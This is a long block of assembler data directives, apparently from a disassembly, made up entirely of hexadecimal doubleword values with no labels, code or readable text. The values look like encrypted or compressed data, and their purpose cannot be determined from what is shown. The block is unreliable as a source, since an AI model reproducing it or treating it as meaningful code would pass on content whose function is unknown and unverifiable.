		dd 6C393CF3h, 3DD7A022h, 0EF2F1AABh, 50A61BCh, 0B513F229h
		dd 0B1EA4C21h, 0A5EB19Fh, 24C098Bh, 0F07DF636h,	0CF6F05FDh
		dd 96FC45AFh, 87511880h, 60D1904Ah, 0D2E6A63Ah,	0CEC2F41Bh
		dd 279F0E67h, 7241B9F5h, 0FE79A33Bh, 941483C6h,	0F0C7A5BDh
		dd 2559D658h, 0AE7D0F1h, 1B2994B5h, 0EF105DDCh,	4EC2EA0Bh
		dd 0CE1D32F7h, 0B7D4788Ah, 0B9C1FBE3h, 15C6B86Eh, 5DAEAD1Ch
		dd 1BA48794h, 0AD84E56h, 36A82A71h, 82084991h, 0CAC4C38h
		dd 0AF46AA87h, 0A368663Ah, 0D40F1CBBh, 0D94D3D0Ah, 9E565897h
		dd 0EDFC0F3Dh, 6376393h, 0D436B852h, 6937963Ch,	73CF19DFh
		dd 0B3A50FF3h, 4A52D149h, 590F35E0h, 0AD5DEFF9h, 0C92383FAh
		dd 0BE2FF60Ch, 1A3910AEh, 0B65EED97h, 74C23AF5h, 75252978h
		dd 0C89FF85Eh, 0C6BD1109h, 13EA7E4Eh, 3FBE5C95h, 0D63EE387h
		dd 43E96665h, 8871B4C6h, 0B11FFCE8h, 0AF12B9E7h, 6C4F7983h
		dd 4A81E2EFh, 0D796E394h, 0EAE37982h, 0E6EC0E25h, 199F6020h
		dd 50112CDBh, 4DDF153Fh, 0E766D095h, 8CFD557Bh,	0F0345AFAh
		dd 0A585F218h, 54303850h, 0EE226BDFh, 64C62AB1h, 4BA97B32h
		dd 78BDDA94h, 30D12467h, 7647CEC4h, 0C7AB6E54h,	5C49E2B8h
		dd 3DC25F17h, 220BCCA9h, 66AD1CA0h, 0ABA65547h,	8002E2EAh
		dd 22A53B8Fh, 57EBE75Ah, 0E90DE4CBh, 0E47FE202h, 0DED1085Ah
		dd 0D9BE0D06h, 0F53259B6h, 0EFBE30ACh, 6814992Ch, 420558E8h
		dd 1FE29C05h, 253683D2h, 322522E9h, 0B4BB7E27h,	957D28C9h
		dd 0B5F6ACECh, 6F8F0B7Ah, 0FE3EBD0Dh, 5E09C5F3h, 4AEC1AD5h
		dd 0F1166824h, 39BA676Dh, 41878515h, 84C58B40h,	3A8CFFCDh
		dd 0B1062CCAh, 0B75981E0h, 9F3F4683h, 44C214D3h, 0BEEC1BFBh
		dd 564F34DAh, 72ACDB50h, 7035BBBBh, 0BFB632D8h,	6F7D256Ch
		dd 0DB27E579h, 0F293FB47h, 4C183C3h, 49F6DC0Dh,	3C5E0A67h
		dd 0E4217C68h, 0DF58D781h, 55204D38h, 61EAA449h, 0E4726DFFh
		dd 0D64DBE76h, 97F992DAh, 6957CC10h, 5BE336F0h,	746146Eh
		dd 509B29CCh, 8436F764h, 30C9B145h, 73B3418Ch, 258ACCC0h
		dd 0C7946DD2h, 0BC297227h, 0A64339F6h, 0FB594753h, 3A018C03h
		dd 0E0AD1669h, 3C930B61h, 0CD723D25h, 0D6DAF56Ch, 9AAB521Ch
		dd 8D92D1E4h, 0F33056C6h, 8BCAAC97h, 0C07CE8AFh, 0FFEEE72Ch
		dd 533E8D61h, 271B1642h, 7B3A88B7h, 0EDCDC368h,	0A1755512h
		dd 0F48013DCh, 0BD1600A4h, 0BA60938Eh, 3E841C43h, 3CCF791Ch
		dd 0F1FB7E5Dh, 87AE65A8h, 0C3659110h, 0C646A897h, 0CE1CF96Bh
		dd 2CB69D80h, 0E58B1C66h, 0E07A1808h, 9251E675h, 0AE49CF1h
		dd 54383D93h, 2A33CFB8h, 0E5AC8814h, 0E00B272Eh, 4B39BAB0h
		dd 6F902732h, 0BD201DC6h, 0ABF667D5h, 739B01E2h, 9A8CA124h
		dd 199D37B4h, 884680Dh,	0D137E37Bh, 0B800643Eh,	0C76545A9h
		dd 0D55EDA28h, 0AF550712h, 5961C2DCh, 23ED6CEh,	374C7B86h
		dd 0DD378EC5h, 21D03823h, 1E82522Ch, 67C2FC2Ah,	76A76E8Ch
		dd 0E35F0C36h, 0B8B5AFFFh, 639898FCh, 0B35905A8h, 0BACE04C5h
		dd 98817D60h, 902A0180h, 5E575509h, 1842946Bh, 2796BF36h
		dd 9E6BA849h, 0C66447D5h, 0BFE8043h, 0BE6DB62Ch, 0D8BDF853h
		dd 0DA6F9ED3h, 0E6BD0482h, 0AC2DAE88h, 9A2CF126h, 1586CDBFh
		dd 0E5130FB5h, 12A309DAh, 3789B43h, 6887B0BCh, 0B2BCBD8Ch
		dd 282CDAE0h, 38BFFEABh, 2594A7CCh, 4A5FEF13h, 2D173EA4h
		dd 0FA45D6E5h, 613E51B5h, 50A2972Eh, 0F5F73308h, 21E9A8AAh
		dd 0DCC75414h, 0CA8F1DE5h, 15272251h, 283AFE05h, 0DEDCCC3Ch
		dd 2C23584Ch, 1EFCAE03h, 0E4DE0EC9h, 96173FCFh,	0B069F392h
		dd 15AA709h, 70080E43h,	6F628A75h, 8D48B7FAh, 0CF0C51A5h
		dd 90F26640h, 3D971638h, 0B958215h, 32B920E4h, 52A51DCDh
		dd 2613E505h, 0A857B705h, 7E2DA98Fh, 0E1BEEC95h, 0B03E6B76h
		dd 0CE48B7AFh, 75CD7539h, 2B47D642h, 0EAB415C5h, 0EA33EAEAh
		dd 5A9EB8B3h, 4E88E966h, 0AB842FA8h, 228593BEh,	0EE8005B8h
		dd 1F37695Fh, 154AC9EEh, 0ACA6D51Fh, 0AF93117h,	38DBE887h
		dd 2842878Ah, 55B03C29h, 0E14199h, 1584B105h, 0C7372726h
		dd 0D64C6655h, 12E76BB6h, 0A33B4479h, 0BF975B23h, 2E8F51A3h
		dd 0F01C8BECh, 0D7769F5h, 8FABB985h, 0CD0EC868h, 0F1550191h
		dd 4D8BE933h, 0F719861h, 0C4DBC40h, 54A937EAh, 0F3C8F2FEh
		dd 0CE572CDFh, 0E513F325h, 3C5F8E2h, 0BFFB4CA5h, 2A5E0295h
		dd 6822EA8Bh, 6121D9C3h, 7A45D0F7h, 0ECB8E542h,	0CC2509A0h
		dd 7B2928ACh, 0F8211B1Fh, 1553CAE2h, 0B83D358Ch, 0F9532EB3h
		dd 67774BC7h, 4B0C7EE3h, 21724E49h, 124896AFh, 0A588203Eh
		dd 0E61DF03Fh, 0E1BA3C39h, 5690C831h, 58779503h, 0D011D2E5h
		dd 6CCAE028h, 97DF3F9Eh
		dd 44B39835h, 0C6AD3338h, 801F164Bh, 6C87427Eh,	795CD0B5h
		dd 0C0CAFE1Fh, 61CB972Eh, 26A3BAF0h, 0E18DC0Ch,	0B81AF331h
		dd 0C9FEEC4Ch, 0C7DA7605h, 12963B13h, 9C05D748h, 9C56D290h
		dd 3FE22023h, 14FD1B54h, 0F2E30848h, 1566A818h,	48C146F1h
		dd 3EA7DD5Dh, 81EBDAA6h, 0B07B8321h, 0F5655558h, 79F56FA3h
		dd 282CC478h, 14D13D8Eh, 0C50E221Ah, 0DC6265D9h, 5DE88A1Ah
		dd 5069F4D6h, 6A5EE3FBh, 5F76A658h, 9A660035h, 0AFB4EFADh
		dd 433D0C35h, 0E6B3A7A4h, 964EB199h, 79735F91h,	43B5CA2Ch
		dd 12358E06h, 0CD6CB389h, 92DD98ADh, 9E603851h,	1C9C0472h
		dd 5F24F29Ah, 9CCCE431h, 0CD5B6AACh, 95634FF2h,	8978129Eh
		dd 0A1299652h, 9CD948BEh, 6DFADB94h, 3AE28F2Eh,	2FAC5D12h
		dd 6F37F286h, 0D6C1CC6Fh, 0A4208BD5h, 56104DEh,	0A211E813h
		dd 0E0F11869h, 0E5223141h, 0C2ED067Ch, 5FD84FCCh, 849CFD13h
		dd 0A438A135h, 0C55471F0h, 0B534FE81h, 84D241A9h, 2FF2BA1h
		dd 44C1353Eh, 0B35F682Ah, 84AF22EDh, 3954122Eh,	4A3B51B0h
		dd 0AAAA89E5h, 0D3A0013h, 0DE386BB2h, 0DA88802Bh, 0E1F65F41h
		dd 0F535BD96h, 86B5A662h, 0C1D0A0DAh, 0B4046E08h, 966555EBh
		dd 734ECEA9h, 30FD9D66h, 8F12E8DEh, 8B7796D8h, 0E3DDFC73h
		dd 583BDE0Fh, 643F1AB2h, 9E581611h, 0F4FEBC9Ch,	0DC9C4D54h
		dd 50FC63A5h, 89FA40C2h, 0C1883846h, 8D3AFA3Bh,	48A70A27h
		dd 431BDC3Ch, 0BB0E5AF5h, 763FB935h, 0F15A7B06h, 0AF0C971Ch
		dd 23861977h, 0EB64F336h, 0A6C7BEC1h, 650BB587h, 0D4DB502Eh
		dd 9DB08E7Bh, 0E24061EDh, 0EBCAB3E9h, 0F6BEC785h, 63686861h
		dd 47CA44ABh, 0BFC102E6h, 2354AD65h, 0D0098BF4h, 54B4BD75h
		dd 2CE33B9Bh, 8CADE5B2h, 8BA1E4ECh, 859B1C05h, 675CCC2Ch
		dd 23DE64FCh, 97F43912h, 3EC07FB7h, 56332C85h, 274053Eh
		dd 9A2462EAh, 838488A0h, 0A6B9470Fh, 140FEC3h, 0BB14CE11h
		dd 0DE8628D2h, 8DEBDC13h, 0CB6A4B6Fh, 8CC67D72h, 793327A8h
		dd 37C9BFD5h, 4D697BBh,	3107D7CBh, 0F4107A04h, 938FDD2Ch
		dd 2ADD033Dh, 0F7F0AFA4h, 45CE2458h, 9760C03Eh,	3FC2DA5Ch
		dd 0DA3C7EB0h, 8B6AF467h, 9701B815h, 0FD6C4801h, 77184EC3h
		dd 0CB50DA6Dh, 440C30B4h, 0FCD6CA5Eh, 0E9043916h, 0FE691679h
		dd 79E8B057h, 5F08E4D1h, 0EE0482DFh, 0C24BF34h,	0CEAF7E5Ch
		dd 0A4365E57h, 9E1DC6AFh, 54CFC1F6h, 8180A2D0h,	6AEB20D9h
		dd 0CD07A2FEh, 39655E0Dh, 974F4925h, 0DCF3644Dh, 6BC2E43Ch
		dd 3AF1C87h, 0FA1F25DBh, 8597F428h, 0C1121982h,	7358FC24h
		dd 3C50021Dh, 0B496AF73h, 702EF43Fh, 33FC3F83h,	2379E301h
		dd 21C57541h, 0BD14FB10h, 116B97C5h, 29CCF02Ah,	746FB47h
		dd 35C2C9AEh, 0A3AED9F9h, 0B2310A6Bh, 581FAE5Ch, 4F186854h
		dd 3A057A0Ch, 73B8B536h, 76AE5A31h, 0D2488C5Eh,	4AD61113h
		dd 0D18973D5h, 0F2D5E858h, 4D28E2D6h, 5D936D00h, 334E20A1h
		dd 5B311148h, 0F46EDF9h, 0ACE019B6h, 0D149F4B9h, 198FE3E6h
		dd 0DB22EDEFh, 0C05F99C2h, 61B414FEh, 30356F77h, 6E0BF3C0h
		dd 0B365052h, 2BAF9B1Dh, 13221A80h, 19C59B4Ch, 5D5A570Bh
		dd 22AFB0EFh, 0ED15EEC8h, 814DD87Fh, 0E0292B5Dh, 0B46E9FD9h
		dd 112BC4E7h, 0EBBF527h, 495015Eh, 0D08E0695h, 0C19ED756h
		dd 4AED8641h, 276C1BCBh, 7573EC96h, 826CD923h, 863ACA23h
		dd 0BD7A18FDh, 0DE37553Fh, 0DC1C12Bh, 47899329h, 1F09BD65h
		dd 0CC0B753Fh, 8825EC28h, 7732029Bh, 0E2F87C42h, 0CC79EF3Fh
		dd 0B863E310h, 0D45B82CBh, 0C2C171BAh, 0DB85A687h, 8C8786Ch
		dd 63EA58A0h, 0A4C223D0h, 55B4881Ch, 7D9AA333h,	7CF2B2BAh
		dd 29F3478Ch, 653FD039h, 462501A8h, 4B530CD0h, 336F8FC2h
		dd 0F0E6C2D7h, 5893BB8Dh, 0D4434196h, 0FD411B3Bh, 0FC9618DBh
		dd 0BD635EC0h, 0A84E02F9h, 0FBDAC351h, 0B7FDBDADh, 0CCB4E321h
		dd 6C132405h, 93728924h, 65F00F94h, 5192799Fh, 713142Fh
		dd 0AF1909E6h, 0CE4BDC8Dh, 6C140384h, 16FBC9Ah,	21A33AF6h
		dd 1AFF97C9h, 0A0458FCh, 0F8F9F1CAh, 0A415E5EBh, 0D69382C9h
		dd 154D128Eh, 0B52CBB10h, 9618330Bh, 227E5BF6h,	8932359h
		dd 9777B030h, 0A6B04451h, 5EF9826Ch, 0F8C2F0F0h, 93FFBEC3h
		dd 0AC95835Dh, 0B95C9660h, 0B2D6F591h, 2F4E9535h, 3390953Fh
		dd 9A3E7484h, 173A26F7h, 5A5CE5CFh, 49075356h, 6D3FCA1h
		dd 0E1E28850h, 0FAA733EBh, 7A0D3151h, 0C252518h, 5B7281A3h
		dd 0BDA12B4Bh, 0BD956ED9h, 6D51090Dh, 0D180C114h, 470BD71Dh
		dd 83865B01h, 1929B439h, 0C653BE43h, 0D819A49Eh, 4A088F4Ah
		dd 0B4455469h, 0D99E950Fh, 0A98F32CEh, 0A845C43Ch, 0CD03A32h
		dd 7B0481AEh, 5BF9F75h,	0B6EE83ADh, 0AB0BDA33h,	46B399DEh
		dd 63AEEE71h, 31ECD12h,	162796E0h, 0A4E9D6D0h, 0EE8A4F3Eh
		dd 99DC5C14h, 0D96A08C1h, 0B4485D04h, 0D0383DE5h, 0E44B983Fh
		dd 92606457h, 26AEADC4h, 0AB78EBC7h, 0C8DA7C7Fh, 8FE14FF0h
		dd 0C7D5147h, 4F870881h, 0A5AEF7DCh, 3F8CBF4Eh,	79442A9Eh
		dd 283E047h, 71B5E56Ch,	0A5A92CFh, 130539h, 0BD230DDFh
		dd 5D256777h, 0A19784F3h, 4EDC8770h, 4A15F439h,	2E348904h
		dd 8178EFD9h, 6C7F6A67h, 10C337C8h, 409FDDCDh, 24E71339h
		dd 0C45FF6C9h, 413DE571h, 8E640ACh, 0E471C99h, 8CF03152h
		dd 0A981F18Fh, 41E14249h, 68422106h, 0BE21A73Eh, 3F6B77C4h
		dd 0BF3ECB62h, 53B0FA6Eh, 0AC9EFD05h, 5E2657B0h, 3758B052h
		dd 0BEE1EB22h, 0F3DB7C1Dh, 31129E1h, 0AE1A2073h, 0EEBF599Ch
		dd 0DDC095C1h, 0B087752Fh, 694B6583h, 6F094218h, 0F83C61Eh
		dd 86E05AF0h, 1A9F9B3Eh, 0EB882BDBh, 0A1BB9F7Fh, 0A0B3CD8Ah
		dd 51D83223h, 5F6845D7h, 22DF0C4Bh, 402D766Ah, 0AF2FCADDh
		dd 8DA8500Ah, 8F9784CFh, 38B432Ch, 0D16AAA95h, 0BBA66883h
		dd 28E7B111h, 30A19E55h, 7E616584h, 93395930h, 0E70581EAh
		dd 9DF22BA0h, 0D5084D40h, 4821D9A6h, 9DB95DFEh,	569433Ah
		dd 524892DAh, 424A27E2h, 0A72DA507h, 0DFC313B8h, 472897CAh
		dd 61F7886Dh, 41BF416Ch, 0FF025BB2h, 11B5F15Ch,	0BFAE8E38h
		dd 5FDED80Eh, 0E5D2AD3Dh, 9F39F604h, 533BCDF3h,	0FF549963h
		dd 0CEA426A8h, 97FC4B4Ah, 0DDDA38B0h, 63D645C0h, 0BCCEA3FCh
		dd 1AA52EF8h, 26985233h, 0CE6EDD25h, 3DD27E76h,	8FD4A9Fh
		dd 0F6A8014Bh, 0B941B145h, 8D01F6A1h, 0E5CC2DE8h, 55741EDFh
		dd 9FCA9CA6h, 7E42B68Ch, 0DDC59056h, 85A3720h, 46A82F48h
		dd 402A4614h, 3697E44Eh, 0D9A15F8Ch, 66DC9176h,	18FAFF71h
		dd 4458C94Bh, 2DC86AC7h, 0AA4B56A5h, 0AEFF8D6Dh, 0F2062437h
		dd 0CE350E54h, 5B9D83F8h, 1250CA68h, 22F9B5DAh,	9F1A15DAh
		dd 4EBA3F6Eh, 52E796C3h, 0F37304EFh, 0FB40494Dh, 5DFE9796h
		dd 2B30B778h, 22DC8CA6h, 81E9A76Dh, 0AB697A15h,	0AE668357h
		dd 6D2C68B2h, 9467C908h, 37ECA1CAh, 0A0190164h,	0B543BF0Bh
		dd 44D92BC7h, 1ADBDF92h, 0FF350997h, 8C196071h,	8D096340h
		dd 0F007C2F2h, 0DBCAE74Bh, 0CED84D26h, 0AA31FDE5h, 0CA24DD8Ah
		dd 7C5BC3E2h, 15077CD0h, 26E03F20h, 296FFF13h, 4D7DDD52h
		dd 95925A60h, 0FED19FA0h, 221A49EFh, 8F842ED2h,	0A390DD00h
		dd 0AA7B9DE9h, 96F4C7BBh, 9945B309h, 0F0BD0ECAh, 0A46475CDh
		dd 0CB29870Bh, 0B4C736E9h, 9B20F20Eh, 0C8900B00h, 0D0518B6Bh
		dd 952A86A4h, 23447FFAh
		dd 0B379DACBh, 7E089A4Bh, 822EB258h, 0DD78CC97h, 0CDCB65E6h
		dd 0DA939CACh, 0F14DBDF4h, 6708CAA8h, 7972D0F4h, 0ACEB0BE2h
		dd 0FE568AD0h, 6FAB4A95h, 331C968Bh, 493AE601h,	0B0A0AC8Eh
		dd 99F8F17Eh, 7D1F419h,	5EE0FA5Eh, 37950870h, 0CB99DD00h
		dd 2B20C8DFh, 10128CEDh, 2F8BF86Bh, 0E426A566h,	0E9995BE9h
		dd 0E5A0825Bh, 0FAC0731Ah, 6C676B15h, 0A2D98296h, 97ECB40Dh
		dd 30EAC950h, 0D0E6134Eh, 543BB8E8h, 0C13E6871h, 110F1FF8h
		dd 9CBA7DA0h, 83517C21h, 29A04509h, 311FB13Eh, 7E52D50Bh
		dd 5FDAD06Ah, 67B519CDh, 0C69C4A3Fh, 8920748Ah,	5B9B6481h
		dd 2320FCECh, 0CC209038h, 0CEA8DE3Ch, 3ED0F627h, 0D79BD9Eh
		dd 23D90B61h, 0BB12909Fh, 606AC7D3h, 393438CCh,	9D7CA691h
		dd 0EC6E7A35h, 29563A38h, 0C452C0EFh, 0C69E9DEh, 0C749B94Dh
		dd 8F5A8D77h, 46A5D615h, 5366ADE8h, 0A57BFB89h,	0CCAF555h
		dd 625A1929h, 4A0A4E2Bh, 57C06FC2h, 5AFBC2F2h, 5586B7CCh
		dd 4B8C65E8h, 0D128CC38h, 39E4C0A1h, 7FA1C8E3h,	8CA3027Bh
		dd 7851F29Eh, 761C551Eh, 0E08B9A36h, 39585D57h,	6A6587A8h
		dd 0D78CAFF1h, 0CEEC0DC9h, 89D97ED9h, 0C9F848D7h, 596230CFh
		dd 0E6089037h, 84BEF96Bh, 8E79E59Ah, 0DE75EDECh, 0FB277F1Dh
		dd 585F4DE4h, 0E54226E8h, 0F7229DB9h, 0F681DA26h, 9DCD8BFFh
		dd 32AC1430h, 347DAAD2h, 682D5964h, 1B1C49DCh, 0B96D0E92h
		dd 7DE4AD95h, 0E8C8E26Fh, 0A528D076h, 4C95946Bh, 1FFFEFDBh
		dd 88346DA8h, 0FBF7BF5Fh, 0A55178C5h, 0EA8B01EBh, 88D85CE6h
		dd 0E449DDFh, 2BDF2303h, 4CF3A469h, 37F9635Fh, 28F831C7h
		dd 0D1331824h, 100CCA01h, 0C9F26F68h, 0A5EF412h, 0D40D4181h
		dd 9A149692h, 0B7DFCCFAh, 60914E62h, 8427CA72h,	0D2200343h
		dd 0BBFEE03h, 86A87AA8h, 0F8F2DE6Fh, 2798EC6Ch,	0BBBE68B0h
		dd 7450D81Ch, 0FDA0A311h, 3FC45334h, 188DE347h,	0A310E105h
		dd 0CABA5760h, 0E2740E98h, 0D112EEE0h, 360B0494h, 8A1C1371h
		dd 0E619Dh, 812B8D66h, 6A017F8Eh, 155889B0h, 17CCA851h
		dd 16E3BE4Ah, 4FA9B4E5h, 9CBB2D79h, 36A6FC22h, 91C6DF3Fh
		dd 3C8D35CCh, 0F0AEF9FCh, 0BF8B467Ah, 9B8D158Dh, 0C1B41828h
		dd 85F91022h, 0ACD96C47h, 0E81A91A3h, 0D233BE35h, 37BEEA5Dh
		dd 0BD755D6h, 5B480EBAh, 6DBE3FBEh, 3D2939EFh, 925EB9A3h
		dd 754E1838h, 0E7D1CEEh, 0E7332FE7h, 6D44E4B9h,	24E47666h
		dd 0FC61EA98h, 9887B42Ah, 6C70DCF8h, 6AF18695h,	448335E2h
		dd 0D37F4F2Ah, 2FA077FAh, 0D9B8F264h, 782BC432h, 0D3CBEA6Ah
		dd 0CE7B17BBh, 0A17C5B7Bh, 91025FCh, 0B086252Bh, 89AB7AB4h
		dd 646CE369h, 8FEEB48Bh, 5AD7373Ch, 8C69C90Eh, 0F8ECEDAAh
		dd 8DF5A217h, 85F27CF1h, 0E3454F84h, 74D5E892h,	9E22ED6Ch
		dd 7849A47Bh, 51E7082Ch, 0D7BF89ADh, 0BA5FD703h, 6065576Ch
		dd 0DF22DEDAh, 0F9EFFE85h, 0FA6C6008h, 0A268C70Eh, 3AFAAE83h
		dd 406A069h, 38799009h,	72D8E796h, 13E9594Ah, 0A76E7B51h
		dd 8573134Ah, 8C910D5Eh, 0D7D8A2C3h, 8FE81D2Eh,	49C3512Fh
		dd 57F4A8E4h, 0F45F1B85h, 3ED31696h, 8C9BE985h,	0C9473F4Ch
		dd 0AF7A94B7h, 0C8D1A015h, 0BDC3B076h, 41932A35h, 210B4F15h
		dd 51B2A36Ah, 66BEC70Dh, 1F8EDF60h, 0CD18B68Bh,	904E556Bh
		dd 0A5DCC52h, 96B4D9AEh, 0C24CCAD6h, 50957776h,	0CF48AB6Ch
		dd 0BDC5252Bh, 0C802E43Ah, 2BF6506Eh, 0C33DC26Dh, 971312F6h
		dd 0F7820BBAh, 19FE8F40h, 0B693B214h, 0C0D45CD0h, 0C15B3A16h
		dd 97928347h, 0B6DE80CEh, 392E6DD8h, 0E7427ED3h, 856CFBAEh
		dd 997CC71Ah, 3F0F05A3h, 0F2A7E43Eh, 88F7A9B3h,	1EB94678h
		dd 5ACD935Eh, 0E6C12529h, 9012C20Dh, 868A51EFh,	0D3FE0642h
		dd 0B2B29565h, 0B6D259A4h, 0FA1CA4ECh, 273D65A0h, 0EAD59062h
		dd 0D1B89FFFh, 867AB615h, 49EF6DDFh, 0A781D1F0h, 728D1B23h
		dd 9618D553h, 0A25BDFE1h, 0EAEC58A5h, 95FB2EB5h, 0AA9500CCh
		dd 16D53C98h, 3D7679BDh, 313D98C8h, 11DB5965h, 0A26A1149h
		dd 0DBFFD380h, 0CA3674CFh, 23464511h, 0DCDF6ACBh, 10DF9C56h
		dd 18522CA2h, 6D98729Fh, 24847333h, 35EFC40Ch, 0B47C5AC4h
		dd 63C90CB8h, 0B3D10AD5h, 0F8100FD4h, 0E44D1868h, 0C4DBDAC7h
		dd 4235E5ECh, 424551CAh, 0DB8F20EAh, 0D2DFD336h, 89DD2976h
		dd 36319895h, 0C8DDE080h, 0CCFAA9B1h, 9B0FE637h, 1EED3627h
		dd 45B44757h, 3ECCED95h, 0DD34B8A6h, 8EFDE545h,	3C42BA8Dh
		dd 0B61B05B5h, 636009A5h, 9F7DF1D8h, 0B68FE69Dh, 54BA170Bh
		dd 0EA99E864h, 4A1D5479h, 0ACE9ADD4h, 0A0A6D4CFh, 67BFECF2h
		dd 5873B34Ah, 45D255D5h, 0AC874E5Eh, 0B353B5C4h, 0E4ACDCE0h
		dd 7F6510A0h, 595B604Fh, 0EF97458h, 8FD07739h, 0AD4E7D6Ch
		dd 0ACF032CFh, 91FB8505h, 0FFC5E9C9h, 0CE8962A9h, 1BCB9AEAh
		dd 2D97FB0Ch, 0AB274BEAh, 5DEF61C5h, 5E9428D7h,	30DE5C7Dh
		dd 0EFFC1084h, 80DCDD55h, 5C02F120h, 91B95Ch, 0A19AA8CFh
		dd 1EC55D54h, 967D47B5h, 0C3C81AEDh, 0E4D19F74h, 0C907A613h
		dd 25837F5Ah, 2F48C8Fh,	4309E6A2h, 8055650Ch, 0B637AE66h
		dd 0A5954E3Eh, 5CF9B3D4h, 2122950Ah, 213ECFCBh,	9AF130A1h
		dd 336F2603h, 2375BF98h, 545EEBE4h, 4054B10Dh, 23029E67h
		dd 7A1E803Dh, 11DC4FC5h, 2E92F71Ah, 4FAF5296h, 7E702F97h
		dd 4FEA2374h, 0D50A8881h, 11213237h, 6886C3Ah, 419B420Ch
		dd 8BF0D70Ah, 6A7F0F0Ah, 4579DB7Ah, 49055181h, 610B2461h
		dd 0CD739A85h, 2763E7FAh, 0BFEEB6C8h, 9089FEE2h, 97EA38A3h
		dd 6F19BCh, 0B7278ED8h,	0F9B8F27Fh, 3481A5CCh, 0A1FA133Bh
		dd 0F651A84Dh, 0FB7D2672h, 2AF2122Ah, 0C31D8AE1h, 3D0F10EAh
		dd 0B90A32B9h, 0D5CF4EE3h, 0A561C9B2h, 0C2BC49A0h, 4448E00Bh
		dd 0FB029B42h, 40B1A28Eh, 871D86B7h, 0CC9265C1h, 15E5BBABh
		dd 0D1BCE9B6h, 684AA233h, 330835A5h, 0A923821Eh, 0FF012387h
		dd 0FFF40828h, 0B5D9A1A8h, 0CCBBFAE0h, 5C1A4122h, 0D29E8CACh
		dd 5FD47D5Fh, 283CB7C0h, 1A99F9ABh, 7837B45h, 0DCE84FE6h
		dd 0B9BD828Ah, 0B98C32E2h, 0B95ACA4h, 0E9B326EDh, 258246B2h
		dd 9BBABB71h, 0EEC5F598h, 342A2BADh, 1CEC71FCh,	5DAA18EDh
		dd 0EEFD4EBCh, 0C8346A94h, 0E0156AEFh, 9D9C25C0h, 6F74B0C0h
		dd 7BD8E92Fh, 0BAA1C648h, 7F0C22F4h, 0E1F0A964h, 0DE62CDA3h
		dd 0E8D44349h, 33568ACAh, 193A959Eh, 0B584C203h, 64E3089Ah
		dd 0D858B524h, 7C3FAFDFh, 0CB152462h, 36EADF68h, 0DD51E98Ah
		dd 30A52B91h, 0DFE5090Eh, 45CB74F9h, 0AAEF5B17h, 34AD3BC7h
		dd 0AAADBF3h, 46D69C8Eh, 0CAE58728h, 478AEA03h,	6EEAE8BAh
		dd 2B8F6ACh, 0CDB30AD2h, 9A658EDAh, 0F5C483Eh, 86618024h
		dd 0F1976A7Eh, 0E0C51F2h, 84412873h, 3772BE5Eh,	0A834D58Ch
		dd 0C60C5EC6h, 7B218662h, 2D1C7242h, 0A8DFA3F8h, 0D6F00835h
		dd 3C915231h, 30CFEFD1h, 0FAF92245h, 0A5427EDAh, 0E74EC15Ah
		dd 5E22723h, 5F397D3Bh,	0DB5D45D9h, 0A290EC8h, 0F217DE48h
		dd 329E8495h, 7651D49Ch, 0CC4F1478h, 894AE75Ch,	362E4A10h
		dd 54A923F9h, 86A0275Eh, 6AA32A63h, 0A06E598Bh,	0EB801C18h
		dd 241EE2BBh, 5CEEAE3h,	9D41A91Ah, 27F93628h, 0B12AC6D5h
		dd 0CC87F97Dh, 8A7F370Dh, 0BB9C55B1h, 0CC3915DDh, 0FB83E763h
		dd 0B2411541h, 811B7015h, 0CB8B09A8h, 953C8BDEh, 5F3CEF98h
		dd 0CF884258h, 0BDE4D4CDh
		dd 9257F9F1h, 0D11F073Bh, 0EF45EB9Bh, 844893F4h, 81E44D8Eh
		dd 466D7963h, 0AEDE4274h, 0EC872744h, 829049F3h, 90B35E67h
		dd 8B444E6Bh, 5862974Ch, 0E25496h, 0B7E8DA98h, 41FDA28h
		dd 0CBB0CE86h, 0E386E2DCh, 53BA07C6h, 0C3A37059h, 2C1DBBDBh
		dd 1F2B60FEh, 18243858h, 0F6E037E2h, 0EAD41B62h, 79F89711h
		dd 148ADFA0h, 4848C62Bh, 0C7F9A8B1h, 2F0181F7h,	2E24805Eh
		dd 7300363Bh, 0ECD8847Eh, 0C49AD9BCh, 5C2BC58h,	3AF93666h
		dd 0E4402546h, 0C2F243Eh, 0F76054CCh, 0CB1D240h, 4BC07CCCh
		dd 0E9AC26D4h, 44DE8B03h, 0F9E350E5h, 3C928482h, 845B3291h
		dd 50090068h, 0D9F39DB8h, 842B045Dh, 0F2DE5573h, 0C5232C8Fh
		dd 0DE0DCA13h, 0F1E68611h, 0C3067A1Ah, 0F3BE7BD4h, 0F1DAF9FBh
		dd 0AD63E3FAh, 0F294E754h, 0B2812E06h, 0BC0E1F70h, 73A54217h
		dd 80089AB8h, 2AA94FD6h, 138506C2h, 7A274B74h, 6A1036FAh
		dd 1EB2021Fh, 536EB82Dh, 93B26E38h, 0DC2CF59Bh,	2DD8E4A9h
		dd 5BCE996Bh, 0E8B27F98h, 10A8487Eh, 407A1630h,	1D23178Fh
		dd 373DA3DCh, 67690162h, 341FB71Dh, 3B8E5630h, 2621FBBh
		dd 77EC9781h, 0DAE68D1Eh, 5EF1A9Ah, 0A4C601D3h,	426F86D3h
		dd 0F0D8ED0Fh, 8C79B76Dh, 0A378A712h, 19A9639Fh, 495690B0h
		dd 5C57E259h, 9149BAF1h, 741D75E2h, 2884DCBEh, 2A057B20h
		dd 0F1B58807h, 830302ABh, 234B45C3h, 614FB5F4h,	9BDF30EEh
		dd 0DCEED7A6h, 6D00FCDAh, 0B75F0743h, 89139460h, 92B1709Eh
		dd 0FFF842CFh, 19FCFAA3h, 0A90CD83Fh, 0A232970Bh, 43469FC7h
		dd 41A35F58h, 6425C876h, 3A573F35h, 48C5130Ah, 6AE2110Ah
		dd 98F90FB0h, 5BCE0CA8h, 13472C1Dh, 3D2ACEEBh, 2B2FBA6Dh
		dd 6B3C8A98h, 0B2E08342h, 0FB9A54FFh, 0CF3BA51Eh, 17FEAD60h
		dd 0A236160h, 0F5C3AC3Ah, 8AEBEF81h, 40113A8Bh,	65117298h
		dd 0F209C01h, 0A94D1A21h, 97A09EB3h, 68123969h,	90A32204h
		dd 0A55BFCB1h, 0AB423B0Ah, 91420EEDh, 0D000BFD1h, 387E4EFBh
		dd 37A9C1Ch, 0E3C0C779h, 0A8DA5F58h, 42B2F294h,	0FE7FE900h
		dd 0E159E6BDh, 2F86CC9Dh, 0E402D7F1h, 0D0BA8E51h, 0BFB668Bh
		dd 0AAB3BCB3h, 3C969186h, 0D9BF85FDh, 2DFBE77Fh, 77830202h
		dd 0D5A4D238h, 2A9AD009h, 0D2BB2F26h, 93E210E4h, 28340BCEh
